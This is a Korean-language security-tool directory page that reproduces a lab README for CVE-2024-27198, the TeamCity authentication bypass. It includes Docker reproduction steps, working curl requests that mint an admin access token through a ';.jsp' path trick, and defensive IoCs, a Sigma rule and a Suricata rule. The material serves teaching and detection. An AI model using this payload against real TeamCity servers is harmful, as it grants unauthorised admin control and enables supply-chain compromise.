Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-27198_LAB | Kitploit
도구/GitHubGitHub/ne0zer01/cve-2024-27198_lab
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingThreat IntelligenceIntrusion DetectionLearning & EducationIncident ResponseLog AnalysisLabs & Practice
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
ne0zer01/cve-2024-27198_lab

CVE-2024-27198_LAB

저장소 보기

CVE-2024-27198 실습

설명

TeamCity는 인증으로 보호되지 않는 관리자 전용 토큰 관리 페이지를 제공합니다. 이로 인해 인증되지 않은 사용자가 기존 사용자의 ID를 찾을 수 있으면 관리자 사용자용 액세스 토큰을 생성할 수 있습니다.


CVE 세부 정보

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • 기본 점수: 9.8 치명적
  • 벡터:
    • CVSS:3.1
    • AV:N 네트워크
    • AC:L 낮음
    • PR:N 없음
    • UI:N 없음
    • S:U 변경되지 않음
    • C:H 높음
    • I:H 높음
    • A:H 높음

위협 인텔리전스 및 OSINT

실제 영향 및 악용

  • CISA KEV 카탈로그: 2024년 3월 7일에 추가되어 실제 환경에서의 활발한 악용을 확인했습니다.
  • 위협 행위자: 여러 랜섬웨어 그룹과 APT가 악용했으며, 특히 BianLian 랜섬웨어 그룹과 Jasmin 랜섬웨어 변종이 주목할 만합니다. 공격자는 이 우회를 사용하여 악성 관리자 계정을 생성하고, 악성 플러그인을 배포하고, 임의 코드 실행(RCE)을 통해 피해자 네트워크 내에서 측면 이동을 수행했습니다.
  • 대상 프로필: CI/CD 파이프라인은 고가치 표적입니다(공급망 공격). TeamCity를 손상시키면 공격자가 소프트웨어 빌드에 악성 코드를 주입하고, 소스 코드를 탈취하고, 배포 비밀(AWS 키, 인증서)을 추출할 수 있습니다.

이 CVE가 중요한 이유

취약점은 REST API 라우팅 메커니즘에 있습니다. 인증되지 않은 엔드포인트에 특정 문자(예: ?jsp=/app/rest/...;.jsp)를 추가함으로써 공격자는 TeamCity 웹 서버가 보안 필터를 우회하면서 요청을 인증된 엔드포인트로 라우팅하도록 속일 수 있습니다. 이를 위해 사전 지식이나 접근 권한이 전혀 필요하지 않으므로 순수 CVSS 9.8에 해당합니다.


재현 단계

컨테이너 시작

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

취약한 TeamCity 인스턴스에 http://localhost:8111로 접속하세요. 패치된 TeamCity 인스턴스에 http://localhost:8112로 접속하세요.


로그인 포털

사용자 이름:

root@kitploit:~
admin

비밀번호:

root@kitploit:~
admin

취약점 테스트

인증 없이 리소스에 대한 GET 요청:

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

둘 다 401 상태 코드와 함께 오류를 반환해야 합니다.


관리자 사용자용 토큰 생성

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

다음과 같은 토큰이 반환되어야 합니다(토큰은 매번 다릅니다):

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

패치된 인스턴스에는 취약점이 없으므로 401 상태 코드와 함께 오류가 반환되어야 합니다.


토큰 확인

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

사용자 목록을 반환해야 합니다.


토큰 삭제

  1. 관리자 계정으로 http://localhost:8111에 접속합니다.
  2. 오른쪽 상단의 프로필 아이콘을 클릭합니다.
  3. 프로필 -> 액세스 토큰으로 이동합니다.
  4. "REDTEAM" 토큰이 표시됩니다.
  5. 토큰 옆의 삭제를 클릭하기만 하면 됩니다.

블루 팀: 로그에서 IoC 사냥(은밀성 요소)

실습 데모 중에 엄청난 블루 팀 발견 사항을 보여줄 수 있습니다. 기본적으로 이 취약점은 매우 은밀합니다!

  1. TeamCity Docker 이미지에서는 Tomcat 액세스 로그가 기본적으로 비활성화되어 있으므로 ;.jsp HTTP 요청은 기록되지 않습니다.
  2. TeamCity 감사 로그는 REST API를 통한 토큰 생성을 기록하지 않습니다.

그렇다면 어떻게 잡아낼까요? 공격자가 자신의 흔적을 지울 때입니다! 공격자가 숨기기 위해 자신의 악성 토큰을 삭제하면 TeamCity는 그 사실을 기록합니다.

감사 로그에서 흔적을 지우는 공격자를 찾으세요:

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(기록 항목에서 "REDTEAM" 토큰이 삭제되었음을 확인할 수 있습니다).


컨테이너 중지

root@kitploit:~
docker compose -f docker-compose.yml down

완화 및 탐지

기술 분석(CWE-288)

이 취약점은 CWE-288: 대체 경로 또는 채널을 사용한 인증 우회의 사례입니다. 이 결함은 Tomcat 웹 서버와 TeamCity 애플리케이션 라우터 사이의 경로 혼동 문제에서 비롯됩니다. ;.jsp를 추가하고 jsp= 매개변수에 대상 REST API 엔드포인트를 전달하면 초기 보안 필터는 이 요청을 공개 .jsp 파일에 대한 인증되지 않은 요청(허용됨)으로 해석합니다. 그러나 내부 라우터는 ;.jsp를 제거하고 인증 필터를 적용하지 않은 채 요청을 제한된 /app/rest/ 엔드포인트로 전달합니다.

정당한 사용 사례(; 문자가 허용되는 이유): Tomcat은 Matrix 매개변수를 위해 세미콜론 문자(;)를 사용합니다. 역사적으로 이 메커니즘은 쿠키가 비활성화되었을 때 사용자 세션 상태를 유지하기 위해 JSESSIONID를 추가하는 것처럼 경로 내에서 직접 매개변수를 전달하는 데 사용됩니다. 이러한 정상적이고 합법적인 웹 서버 동작이 TeamCity 애플리케이션 라우터의 부적절한 검증과 결합되어 취약점이 발생합니다.

침해 지표(IoC)

진행 중이거나 과거의 침해를 탐지하려면 블루 팀은 다음을 찾아야 합니다:

  1. 웹 로그: /app/rest/ 엔드포인트를 대상으로 하지만 URI에 비정상적인 ;.jsp 문자열을 포함하는 HTTP 요청.
  2. 감사 로그(teamcity-server.log): 설명할 수 없는 액세스 토큰 생성 또는 새 관리자 계정 생성.
  3. 시스템 수준: 인식할 수 없거나 의심스러운 플러그인 설치(공격자가 권한 상승 및 원격 코드 실행을 달성하는 데 자주 사용).

로그 탐지(Sigma 규칙)

초기 익스플로잇은 기본적으로 은밀하므로 블루 팀은 공격자의 사후 악용 행위(예: 흔적 지우기)를 탐지하는 데 의존해야 합니다. 의심스러운 토큰 삭제를 탐지하기 위한 SIEM용 Sigma 규칙은 다음과 같습니다:

root@kitploit:~
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

SIEM 라이브 데모(블루 팀)

이 탐지가 실제로 작동함을 입증하려면 siem_simulator.py 스크립트를 실행하세요.

  1. 익스플로잇 터미널과 함께 두 번째 터미널을 엽니다.
  2. 취약한 컨테이너가 실행 중인지 확인하세요(docker compose up -d).
  3. 시뮬레이터를 실행합니다:
root@kitploit:~
python3 siem_simulator.py
  1. 첫 번째 터미널에서 익스플로잇을 실행하고 토큰을 확인한 다음 웹 인터페이스를 통해 토큰을 삭제합니다.
  2. 두 번째 터미널에서 Sigma 규칙이 흔적을 지우는 공격자를 포착하는 빨간색 치명적 경고가 표시되는 것을 확인하세요!

수정

  • 공식 패치: TeamCity를 2023.11.4 이상 버전으로 업그레이드하세요. 이 버전은 백엔드에서 경로 일치를 적절히 검증하고 강제합니다.
  • 임시 해결책: 패치가 불가능한 경우 JetBrains는 취약한 인스턴스에 설치할 수 있는 보안 패치 플러그인을 출시했습니다.

네트워크 탐지(Suricata / Snort 규칙)

네트워크에서 이 악용 시도를 탐지하기 위해 SOC는 비정상적인 ;.jsp 패턴과 REST API 경로를 찾는 다음 IDS 규칙을 구현할 수 있습니다:

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

패치된 버전 테스트(실습 데모)

완화 조치가 효과가 있음을 입증하려면 포트 8112에서 실행 중인 패치된 TeamCity 컨테이너에 대해 동일한 익스플로잇 페이로드를 실행할 수 있습니다:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

패치가 경로 일치를 엄격히 강제하고 matrix 매개변수를 적절히 검증하므로 우회는 실패합니다. 생성된 토큰 대신 401 Unauthorized 또는 404 Not Found 응답이 표시되어야 합니다.


링크

  • CVE-2024-27198
도구 다운로드